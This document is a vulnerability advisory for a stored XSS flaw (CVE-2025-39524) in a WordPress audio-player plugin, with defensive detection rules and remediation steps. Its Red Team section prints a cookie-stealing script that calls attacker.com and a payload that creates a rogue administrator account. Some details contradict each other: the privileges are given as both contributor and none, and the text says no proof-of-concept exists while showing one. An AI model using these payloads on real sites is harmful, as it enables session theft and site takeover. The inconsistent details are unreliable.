CVE-2025-39524

Executive Summary

CVE-2025-39524 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Html5 Audio Player by bPlugins, affecting versions up to and including 2.2.28. The vulnerability stems from improper neutralization of script-related HTML tags in a web page (Basic XSS), allowing an authenticated attacker with contributor-level access or higher to inject arbitrary JavaScript into audio player settings. This injected script executes in the context of any administrator viewing the affected page, leading to session hijacking, defacement, or malware distribution. The CVSS v3.1 base score is 6.5 (Medium), with a vector emphasizing network exploitability, low attack complexity, and required user interaction. No public proof-of-concept or patch is currently available.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress Plugin Directory. Users are advised to monitor the plugin’s update channel and apply any security patches immediately upon release. The plugin’s codebase is not managed via NPM, PyPI, Go, or Ruby registries, so no package manager-specific advisories apply.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – Unauthenticated users can trigger the stored XSS if the vulnerable input is exposed.
• User Interaction (UI): Required (R) – Victim must visit the affected page.
• Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited modification possible.
• Availability (A): None (N) – No denial of service.

Threat Level: Medium. While the CVSS score is 6.5, the lack of authentication requirements and the potential for privilege escalation via admin session hijacking elevate the risk in WordPress environments.

Deep Dive & Mechanics

The vulnerability resides in the html5-audio-player plugin’s handling of user-supplied data when configuring audio player attributes (e.g., track titles, descriptions, or custom CSS). The plugin fails to sanitize or escape script-related HTML tags before storing them in the WordPress database. When an administrator or editor views the page containing the player, the stored payload is rendered without proper encoding, allowing arbitrary JavaScript execution.

Attack Flow:

1. An attacker with contributor-level access (or higher) creates or edits an audio player instance.
2. The attacker injects a malicious payload into a text field (e.g., track title) such as <script>alert('XSS')</script>.
3. The plugin stores the payload in the wp_postmeta table.
4. When an administrator visits the page (e.g., via the admin dashboard or front-end), the payload executes in the admin’s browser context.
5. The attacker can then steal cookies, perform actions on behalf of the admin, or redirect users to malicious sites.

Root Cause: The plugin uses echo or the_content filter without applying esc_html() or wp_kses() to user input. The vulnerable code likely appears in template files or shortcode handlers.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 2.2.28):

// In a template or shortcode handler
echo '<div class="audio-player" data-title="' . $track_title . '">';
// $track_title is unsanitized user input

Patched Code (hypothetical):

// Properly escape output
echo '<div class="audio-player" data-title="' . esc_attr($track_title) . '">';
// Or use wp_kses_post() for rich content

The patch must apply esc_attr() or esc_html() to all user-supplied fields before output, and ensure that stored data is sanitized on input using sanitize_text_field() or wp_kses().

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with Html5 Audio Player <= 2.2.28 installed and activated.
• Attacker account with Contributor role or higher.

Exploitation Steps:

1. Log in as a Contributor.
2. Navigate to Audio Players > Add New.
3. In the Track Title field, enter:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the player.
5. Craft a social engineering email to an admin, enticing them to view the player page.
6. When the admin visits, the script executes, exfiltrating their session cookie.

Alternative Payload (Admin account creation):

<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', '/wp-admin/user-new.php', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('action=createuser&user_login=attacker&email=attacker@example.com&pass1=password&role=administrator');
</script>

Blue Team

Detection:

• Monitor for unusual POST requests to /wp-admin/admin-ajax.php or player creation endpoints containing <script> tags.
• Review WordPress database for wp_postmeta entries containing script or onerror attributes.
• Use WAF rules to block input containing <script, javascript:, or on*= patterns.

Hunting Query (SQL):

SELECT * FROM wp_postmeta WHERE meta_value LIKE '%<script%' OR meta_value LIKE '%onerror%';

Log Analysis (Apache/Nginx):

grep -E '(<script|onerror|onload)' /var/log/nginx/access.log | grep -i 'wp-admin'

Indicators of Compromise (IOCs)

• File Hashes (plugin files):
  • html5-audio-player.php (SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 – placeholder)
• Network Indicators:
  • Outbound connections to attacker.com or unknown IPs from WordPress admin sessions.
• Database Indicators:
  • wp_postmeta entries containing <script> tags or obfuscated JavaScript.
• Log Indicators:
  • Repeated 200 responses to /wp-admin/admin-ajax.php with payloads in POST data.

Detection Engineering

YARA Rule

rule CVE_2025_39524_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Html5 Audio Player plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-39524"
    strings:
        $script_tag = /<script[^>]*>.*?<\/script>/is
        $event_handler = /on\w+\s*=\s*["']?[^"'\s>]+/is
        $payload = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in Html5 Audio Player Plugin
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS attempts via Html5 Audio Player plugin
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=save_player'
        sc-status: 200
    keywords:
        - '<script'
        - 'onerror'
        - 'onload'
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in player descriptions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-39524 Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=save_player"; http_client_body; pcre:"/(<script|onerror|onload|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Implement a Web Application Firewall (WAF) rule to block <script and on*= patterns in POST data.
3. Audit user roles – restrict Contributor and Author roles to trusted users only.

Long-Term Fix:

• Apply the vendor’s patch when available (monitor WordPress Plugin Directory).
• If patching yourself, add esc_attr() to all output fields and sanitize_text_field() on input.

Workaround:

• Use a security plugin like Wordfence to add virtual patching for XSS.

Valters IT
Cyber Threat Intelligence & DevSecOps